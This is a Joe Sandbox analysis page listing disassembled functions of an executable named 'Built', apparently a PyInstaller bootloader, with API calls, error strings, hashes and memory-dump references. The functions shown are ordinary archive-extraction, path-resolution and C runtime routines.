Associated: 00000004.00000002.2174217569.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2C1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174268007.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff65e280000_Built.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 00a01140cb6f53c8bf48d507e97df1570cac778f72c2f220bef2ef140620373e
Instruction ID: 6ba09c0d8d2edfa4c93e677ee70fcea47ebae8575d2bbd90d0fdeff36de69caf
Opcode Fuzzy Hash: 00a01140cb6f53c8bf48d507e97df1570cac778f72c2f220bef2ef140620373e
Instruction Fuzzy Hash: 6B416722A0C74286EE10DB22A7405B97391BF64794F884932FD4DE7A9DDE7CE546CB04

Function 00007FF65E281210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF65E28141E
malloc, xrefs: 00007FF65E2812C1, 00007FF65E2812F6
1.3.1, xrefs: 00007FF65E281249
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF65E2812BA
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF65E281276
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF65E2812EF

Memory Dump Source

Source File: 00000004.00000002.2174153535.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000004.00000002.2174130481.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174187963.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2C1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174268007.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff65e280000_Built.jbxd

Similarity

API ID: CurrentProcess
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2050909247-2813020118
Opcode ID: ab383ac4b995131bdd40696453c0f16ebeee9cffe796343d9728e2385cbc1d23
Instruction ID: 361a7965764dfc78baa3e4ad746461db7474328e1aaed3a7052d0dcef977a902
Opcode Fuzzy Hash: ab383ac4b995131bdd40696453c0f16ebeee9cffe796343d9728e2385cbc1d23
Instruction Fuzzy Hash: 64517822A0C74285EE60AB12A7503BA7391ABA5B94F8C5135FD4DE7AD9EE3CE541C700

Function 00007FF65E2836B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF65E283804), ref: 00007FF65E2836E1
GetLastError.KERNEL32(?,00007FF65E283804), ref: 00007FF65E2836EB

Part of subcall function 00007FF65E282C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF65E283706,?,00007FF65E283804), ref: 00007FF65E282C9E
Part of subcall function 00007FF65E282C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF65E283706,?,00007FF65E283804), ref: 00007FF65E282D63
Part of subcall function 00007FF65E282C50: MessageBoxW.USER32 ref: 00007FF65E282D99

Strings

\\?\, xrefs: 00007FF65E28375A
Failed to resolve full path to executable %ls., xrefs: 00007FF65E283739
Failed to obtain executable path., xrefs: 00007FF65E2836F3
Failed to convert executable path to UTF-8., xrefs: 00007FF65E283790
GetModuleFileNameW, xrefs: 00007FF65E2836FA

Memory Dump Source

Source File: 00000004.00000002.2174153535.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000004.00000002.2174130481.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174187963.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2C1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174268007.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff65e280000_Built.jbxd

Similarity

API ID: Message$CurrentErrorFileFormatLastModuleNameProcess
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 3187769757-2863816727
Opcode ID: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction ID: 1aed268da54980dbcc0a3475f997841fd5111a5b9c2872efeebdc468a0c0cdb9
Opcode Fuzzy Hash: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction Fuzzy Hash: A9215161F1C74281FE209724EB153BA3291BFA8354F884136F69EE66DDEE6CE504C700

Function 00007FF65E29BA5C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF65E29BE89

Memory Dump Source

Source File: 00000004.00000002.2174153535.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000004.00000002.2174130481.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174187963.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2C1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174268007.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff65e280000_Built.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: fe76644ed600cf537c3c6f178a4f6dddc7bb94aee2e0e4a7e52e493d4ee37ba5
Instruction ID: 3b3a9a25816a944e00a5cd0b7f45dcc2abe5ed9bd6c8b1f912fbded14ea25787
Opcode Fuzzy Hash: fe76644ed600cf537c3c6f178a4f6dddc7bb94aee2e0e4a7e52e493d4ee37ba5
Instruction Fuzzy Hash: 32C10522A0CB8691EE609B1597402BD3B56FBA1BC0F5D2131FA4EE3799CE7CE4858714

Function 00007FF65E286360 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to load Python DLL '%ls'., xrefs: 00007FF65E2864A7
LoadLibrary, xrefs: 00007FF65E2864AE
Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d), xrefs: 00007FF65E2863C7
Path of ucrtbase.dll (%s) and its name exceed buffer size (%d), xrefs: 00007FF65E286407
ucrtbase.dll, xrefs: 00007FF65E2863DD
Path of Python shared library (%s) and its name (%s) exceed buffer size (%d), xrefs: 00007FF65E286456

Memory Dump Source

Source File: 00000004.00000002.2174153535.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000004.00000002.2174130481.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174187963.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2C1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174268007.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff65e280000_Built.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
API String ID: 2050909247-2434346643
Opcode ID: 111e0a7e53993944da2df5d9c96cd3a7cea32e86f931b773c4ccd6a62d35c348
Instruction ID: 2ff8d0a668d60eb5aca531fad8723a08db9fd662d9ccfdace69f2d30cebf22c5
Opcode Fuzzy Hash: 111e0a7e53993944da2df5d9c96cd3a7cea32e86f931b773c4ccd6a62d35c348
Instruction Fuzzy Hash: 9F417C21A1C78691EE25DB20E7151E97361FB64344F884132FA5DA369EEF7CE509C740

Function 00007FF65E295628 Relevance: 6.1, APIs: 4, Instructions: 90
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF65E295655
CreateFileW.KERNEL32 ref: 00007FF65E295694
CloseHandle.KERNEL32 ref: 00007FF65E2956C9

Memory Dump Source

Source File: 00000004.00000002.2174153535.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000004.00000002.2174130481.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174187963.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2C1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174268007.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff65e280000_Built.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: b1746a8a916bbf96797ffba89da9809a683c49b2a7b1d8f7dd6efe5c63c8eb6a
Instruction ID: abfcec0c1eccae45def0ec14e285701159a39fc1a6af7c93d519b1c65f2ca903
Opcode Fuzzy Hash: b1746a8a916bbf96797ffba89da9809a683c49b2a7b1d8f7dd6efe5c63c8eb6a
Instruction Fuzzy Hash: 74418322E5878183EB508B2197503797360FFA47A4F14A339FA9C93AD9DF7CA5E08710

Function 00007FF65E28CC3C Relevance: 4.6, APIs: 3, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF65E28CE0C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF65E28CE20

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF65E28CC60
__scrt_release_startup_lock.LIBCMT ref: 00007FF65E28CCCE
__scrt_get_show_window_mode.LIBCMT ref: 00007FF65E28CD21

Memory Dump Source

Source File: 00000004.00000002.2174153535.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000004.00000002.2174130481.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174187963.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2C1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174268007.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff65e280000_Built.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction ID: 8f88573af3c10fcc84ea9442cc27f9188a21e52087fdf66bad6a8a81d67caf13
Opcode Fuzzy Hash: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction Fuzzy Hash: 2A310721E4C24641FE64AB659B623B93681AF71784F4C5034FA0EF72DFDE6DA844C202

Function 00007FF65E29013C Relevance: 3.2, APIs: 2, Instructions: 177
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF65E290180
_invalid_parameter_noinfo.LIBCMT ref: 00007FF65E290277

Memory Dump Source

Source File: 00000004.00000002.2174153535.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000004.00000002.2174130481.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174187963.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2C1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174268007.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff65e280000_Built.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
Instruction ID: 82982899e2f7472e2de185292d1da54c25d4651a48abe4ff1f0fbde8bcf0906a
Opcode Fuzzy Hash: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
Instruction Fuzzy Hash: C4512661B0924986EF249E259700A7A7291AF60BA4F0C6634FD7CE37CDCE3CE4808606

Function 00007FF65E29C134 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,?,?,?,?,00007FF65E29C2CD), ref: 00007FF65E29C180
GetLastError.KERNEL32(?,?,?,?,?,00007FF65E29C2CD), ref: 00007FF65E29C18A

Memory Dump Source

Source File: 00000004.00000002.2174153535.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000004.00000002.2174130481.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174187963.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2C1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174268007.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff65e280000_Built.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction ID: ac8a5fb4ccc9e17118baaf58dc0298b0c84d4ac98d5e0341e74d6dd2e2f5c245
Opcode Fuzzy Hash: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction Fuzzy Hash: 6911DD22608A8181DE208B25AB40069B361AB61BF0F5C1331FA7D9B7EDCE78D0808700

Function 00007FF65E29AB58 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,00007FF65E29A9D5,?,?,00000000,00007FF65E29AA8A), ref: 00007FF65E29ABC6
GetLastError.KERNEL32(?,?,?,00007FF65E29A9D5,?,?,00000000,00007FF65E29AA8A), ref: 00007FF65E29ABD0

Memory Dump Source

Source File: 00000004.00000002.2174153535.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000004.00000002.2174130481.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174187963.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2C1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174268007.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff65e280000_Built.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction ID: 4d819c8bf71fcc0032d09beda254ae6bef654563870bfdf9c708a506b46b0d80
Opcode Fuzzy Hash: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction Fuzzy Hash: DE216251F1878241EEA45761979137936829FB47D4F0C6279F92EE7BDDCE6CE4C14200

Function 00007FFDA34311E0 Relevance: 1.7, APIs: 1, Instructions: 204COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32 ref: 00007FFDA3431205

Memory Dump Source

Source File: 00000004.00000002.2198401846.00007FFDA3421000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFDA3420000, based on PE: true

Associated: 00000004.00000002.2197732045.00007FFDA3420000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000004.00000002.2198401846.00007FFDA3582000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000004.00000002.2198401846.00007FFDA3584000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000004.00000002.2198401846.00007FFDA3599000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000004.00000002.2201370576.00007FFDA359B000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000004.00000002.2201550477.00007FFDA359C000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffda3420000_Built.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 7e95180d38cd00ed8df76aa16efa4cdac9e9adb77db5b2022ed37012a1f49ff9
Instruction ID: 3e4eedd719e1abed98be266b8c001ccaea46bb53e27681c3a2087d2a9685ebc6
Opcode Fuzzy Hash: 7e95180d38cd00ed8df76aa16efa4cdac9e9adb77db5b2022ed37012a1f49ff9
Instruction Fuzzy Hash: D3A12C60B0FB4A86FE59DB59A87033422A2BF54B44F840535C90EB77A2DFBEE4519309

Function 00007FF65E29BEAC Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF65E29BED4

Memory Dump Source

Source File: 00000004.00000002.2174153535.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000004.00000002.2174130481.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174187963.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2C1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174268007.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff65e280000_Built.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction ID: d7ff0fc84c63885f4ad9997c29539fd5777178999f6cbd563262bbf4002886c9
Opcode Fuzzy Hash: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction Fuzzy Hash: 8841D43291824587EE348B29A74427973A1EF65B81F182131F68ED36D9CF2CE482CB54

Function 00007FF65E287F90 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF65E28803A

Memory Dump Source

Source File: 00000004.00000002.2174153535.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000004.00000002.2174130481.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174187963.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2C1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174268007.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff65e280000_Built.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 0748e9379ee1a24a6dd361f3a2547f707c71d81643cc4b02aa9d5a9a64da41ab
Instruction ID: 14158abfd7d765aff35c4f521640649d5e5df173ef2cddfc1e3cef4ca73ece10
Opcode Fuzzy Hash: 0748e9379ee1a24a6dd361f3a2547f707c71d81643cc4b02aa9d5a9a64da41ab
Instruction Fuzzy Hash: 13219612B1C75646FE549A226B047BAB651BF65BC4FCC5470FE0DABB8ACEBDE041C200

Function 00007FF65E29B93C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF65E29B9C2

Memory Dump Source

Source File: 00000004.00000002.2174153535.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000004.00000002.2174130481.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174187963.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2C1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174268007.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff65e280000_Built.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 0fe3e981c7cf3185d146a9a4244026f2f164e791e6f92d2a50fd94940550a020
Instruction ID: 6b76e0ff4361bd17b88ad132046d82c8f01f0885ab35220bc16dd0e69b1d6e46
Opcode Fuzzy Hash: 0fe3e981c7cf3185d146a9a4244026f2f164e791e6f92d2a50fd94940550a020
Instruction Fuzzy Hash: 4F31A122A2860281FF116B559B8037C3691BFA1B91F492135F95DE73DACF7CE8C18B15

Function 00007FF65E295F94 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF65E295EF9

Memory Dump Source

Source File: 00000004.00000002.2174153535.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000004.00000002.2174130481.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174187963.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2C1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174268007.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff65e280000_Built.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction ID: a771bfc59f78610a09b1be8a1d5afca25e14996be5ee87d8ce3cf27fd38fb3e9
Opcode Fuzzy Hash: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction Fuzzy Hash: EA114F21B1D64282EE609F119700179B264AFA5B94F486435FACCE7A9ECF3DE4804710

Function 00007FF65E2A6354 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF65E2A6377

Memory Dump Source

Source File: 00000004.00000002.2174153535.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000004.00000002.2174130481.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174187963.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2C1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174268007.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff65e280000_Built.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction ID: b9db4eebd6a38d23403daf4b428746a1ddf82df7295bbbad5324463d52b7d062
Opcode Fuzzy Hash: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction Fuzzy Hash: 85218072A18A4286DF618F18D74037976A0BBA4B54F289238F65DD76DDDF7DD4018B00

Function 00007FF65E2903BC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF65E290410

Memory Dump Source

Source File: 00000004.00000002.2174153535.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000004.00000002.2174130481.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174187963.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2C1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174268007.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff65e280000_Built.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction ID: 746715f2331bd27c1a40f8ff3ba34d05c2f53bd702c9384d50cfaf15f03364a2
Opcode Fuzzy Hash: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction Fuzzy Hash: 3E017061A0874540EE449F525B00469B6A1AFA5FE0F4C6631FE5CF3BDACF3CD8814300

Function 00007FF65E288E80 Relevance: 1.5, APIs: 1, Instructions: 19libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF65E289390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF65E2845F4,00000000,00007FF65E281985), ref: 00007FF65E2893C9

LoadLibraryExW.KERNEL32(?,00007FF65E286476,?,00007FF65E28336E), ref: 00007FF65E288EA2

Memory Dump Source

Source File: 00000004.00000002.2174153535.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000004.00000002.2174130481.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174187963.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2C1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174268007.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

